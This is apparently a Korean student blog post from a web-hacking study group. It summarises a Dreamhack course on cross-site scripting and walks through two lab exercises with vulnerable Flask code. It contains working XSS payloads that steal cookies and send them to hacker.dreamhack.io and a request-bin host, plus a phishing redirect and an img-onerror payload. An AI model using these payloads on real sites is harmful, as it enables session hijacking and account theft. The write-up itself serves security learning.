ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/웹해킹 스터디] 2학기 4주차 스터디 - XSS
    24-2 SISS/웹해킹 2024. 9. 29. 21:30

    2학기 4주차 스터디 - XSS

    4주차 09/23 ~ 09/29 [드림핵] Cross-Site-Scripting (XSS)

    수강 인증 화면 캡쳐

     

    XSS (Cross Site Scripting)


    • 클라이언트 사이드 취약점
      • 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점
      • 세션 및 쿠키 정보 탈취 가능
    • XSS
      • 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 스크립트를 삽입하는 것
      • 페이지 변조 혹은 스크립트 실행 가능
    • XSS 발생 예시 및 종류종류 설명
      종류 설명
      Stored XSS 악성 스크립트가 서버에 저장된 후 응답에 담김
      Reflected XSS 악성 스크립트가 URL에 삽입된 후 응답에 담김
      DOM-based XSS 악성 스크립트가 URL Fragment에 삽입
      • Fragment는 서버 요청/응답 에 포함되지 않음
      Universal XSS 클라이언트의 브라우저/브라우저 플러그인에서 발생하는 취약점을 통해 SOP 정책을 우회
    • XSS 스크립트 예시
    // 쿠키 및 세션 탈취 공격 코드
    
    <script>
    // "hello" 문자열 alert 실행
    alert("hello");
    // 현재 페이지의 쿠키(return type: string)
    document.cookie; 
    // 현재 페이지의 쿠키를 인자로 가진 alert 실행
    alert(document.cookie);
    // 쿠키 생성(key: name, value: test)
    document.cookie = "name=test;";
    // new Image()는 이미지 생성, src는 이미지의 주소 지정 (공격자 주소는 http://hacker.dreamhack.io)
    // "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하므로 공격자 주소로 현재 페이지의 쿠키를 요청
    new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
    </script>
    // 페이지 변조 공격 코드
    
    <script>
    // 이용자 페이지 정보에 접근
    document;
    // 이용자 페이지에 데이터 삽입
    document.write("Hacked By DreamHack !");
    </script>
    // 위치 이동 공격 코드
    
    <script>
    // 이용자 위치 변경
    // 피싱 공격 등으로 사용됨
    location.href = "http://hacker.dreamhack.io/phishing"; 
    // 새 창 열기
    window.open("http://hacker.dreamhack.io/")
    </script>

     

    기초 실습


    • Stored XSS → 서버의 데이터베이스/파일 등으로 저장된 악성 스크립트 조회 시 발생하는 XSS
    • Reflected XSS → 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
      • 특징
        • 이용자의 요청에 의해 발생 (URL 등) → Click Jacking, Open Redirect 등을 이용하여 사용

     

    • 실습
      • stored XSS 실습 → Content에 스크립트 주입
        <script>alert(1);</script>
        
      • Reflected XSS 실습

    stored XSS 실습
    Reflected XSS 실습

     

    XSS 퀴즈


    XSS 퀴즈

     

    실습 - XSS


    • 웹 서비스 분석
      • @app.route(”/vuln”) → 이용자가 전달한 파라미터(param) 값을 출력
        @app.route("/vuln")
        def vuln():
            param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
            return param # 이용자의 입력값을 화면 상에 표시
        
      • @app.route(”/memo”) → 이용자가 전달한 파라미터(memo) 값을 reder_template를 이용해 기록 및 출력
        @app.route("/memo") # memo 페이지 라우팅
        def memo(): # memo 함수 선언
            global memo_text # 메모를 전역변수로 참조
            text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
            memo_text += text + "\\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가
            return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
        
      • @app.route(”/flag”)
        • GET → 이용자에게 URL을 입력받는 페이지
        • POST → 파라미터(params)와 쿠키에 플래그를 포함해 check_xss 함수(read_url을 통해 vuln에 접속) 호출
        def read_url(url, cookie={"name": "name", "value": "value"}):
            cookie.update({"domain": "127.0.0.1"})
            try:
                service = Service(executable_path="/chromedriver")
                options = webdriver.ChromeOptions()
                for _ in [
                    "headless",
                    "window-size=1920x1080",
                    "disable-gpu",
                    "no-sandbox",
                    "disable-dev-shm-usage",
                ]:
                    options.add_argument(_)
                driver = webdriver.Chrome(service=service, options=options)
                driver.implicitly_wait(3)
                driver.set_page_load_timeout(3)
                driver.get("<http://127.0.0.1:8000/>")
                driver.add_cookie(cookie)
                driver.get(url)
            except Exception as e:
                driver.quit()
                # return str(e)
                return False
            driver.quit()
            return True
            
        def check_xss(param, cookie={"name": "name", "value": "value"}):
            url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
            return read_url(url, cookie)
            
        @app.route("/flag", methods=["GET", "POST"])
        def flag():
            if request.method == "GET":
                return render_template("flag.html")
            elif request.method == "POST":
                param = request.form.get("param")
                if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
                    return '<script>alert("wrong??");history.go(-1);</script>'
                return '<script>alert("good");history.go(-1);</script>'
        

     

    • 취약점 분석
      • 이용자의 입력 값 출력
        • memo → render_template 함수(HTML 엔티티 코드로 변환해 저장)를 사용해 memo.html 출력
        • vuln → 그대로 출력(XSS 발생)

     

    • 익스플로잇
      • /vuln의 xss 취약점을 이용해 쿠키 탈취 → memo 엔드포인트를 사용해 쿠키 전달 혹은 웹 서버 이용
    속성 설명
    location.href 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다.
    document.cookie 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.쿠키 탈취

     

    • 쿠키 탈취
      1. memo 페이지 이용
      2. 웹 서버 사용(드림핵 제공) → Request Bin이 이용자의 접속 기록을 저장
    // memo 페이지 이용
    <script>location.href = "/memo?memo=" + document.cookie;</script>
    // 웹 서버 사용
    <script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

    flag 페이지에 입력
    memo 페이지 확인

     

    실습 - XSS-2


    • 셀레니움(Selenium)
      • 웹 애플리케이션 테스팅에 사용되는 파이썬 패키지(API를 통해 크롬, 사파리와 같은 웹 드라이버를 사용할 수 있음)
      • 웹 페이지 방문과 같은 역할을 함
    • 웹 서비스 분석
      • @app.route(”/vuln”) → vuln.html 파일을 인자로 한 render_template() 함수 값을 반환
        @app.route("/vuln")
        def vuln():
            return render_template("vuln.html")
        
        • render_template() → 플라스크 제공 함수로 HTML 템플릿 파일을 렌더링(Jinja2 이용, 템플릿 변수를 HTML 엔티티 코드로 변환)
      • @app.route(”/memo”) → 실습 1과 동일
        @app.route("/memo")
        def memo():
            global memo_text
            text = request.args.get("memo", "")
            memo_text += text + "\\n"
            return render_template("memo.html", memo=memo_text)
        
      • @app.route(”/flag”) → check_xss()를 통해 xss 공격 가능 여부 확인 → read_url()을 통해 URL과 쿠키 전달
    def read_url(url, cookie={"name": "name", "value": "value"}):
        cookie.update({"domain": "127.0.0.1"})
        try:
            service = Service(executable_path="/chromedriver")
            options = webdriver.ChromeOptions()
            for _ in [
                "headless",
                "window-size=1920x1080",
                "disable-gpu",
                "no-sandbox",
                "disable-dev-shm-usage",
            ]:
                options.add_argument(_)
            driver = webdriver.Chrome(service=service, options=options)
            driver.implicitly_wait(3)
            driver.set_page_load_timeout(3)
            driver.get("http://127.0.0.1:8000/")
            driver.add_cookie(cookie)
            driver.get(url)
        except Exception as e:
            driver.quit()
            # return str(e)
            return False
        driver.quit()
        return True
    
    def check_xss(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
        return read_url(url, cookie)
    
    @app.route("/flag", methods=["GET", "POST"])
    def flag():
        if request.method == "GET":
            return render_template("flag.html")
        elif request.method == "POST":
            param = request.form.get("param")
            if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
                return '<script>alert("wrong??");history.go(-1);</script>' 
    
            return '<script>alert("good");history.go(-1);</script>'

     

    • 취약점 분석
      • innerHTML
        • 웹 개발 시 사용하는 DOM(Document Object Model) 속성 중 하나
        • HTML을 프로그래밍적으로 조작하기 위해 사용(내부 HTML을 문자열로 읽기 및 설정이 가능)
          var content = document.getElementById('example').innerHTML; 읽기: 요소의 내부 HTML을 가져옴
          document.getElementById('example').innerHTML = 'New Content'; 쓰기: 요소의 내부 HTML을 변경
      • vuln.html
        • 파라미터 값을 통해 ‘쓰기’를 수행 → innerHTML을 통해 URL의 param을 조작하여 웹 페이지 내용 변경 가능
        <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
        

     

    •  익스플로잇
      • /flag 페이지 param
    <img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">

    실습 2

Designed by Tistory.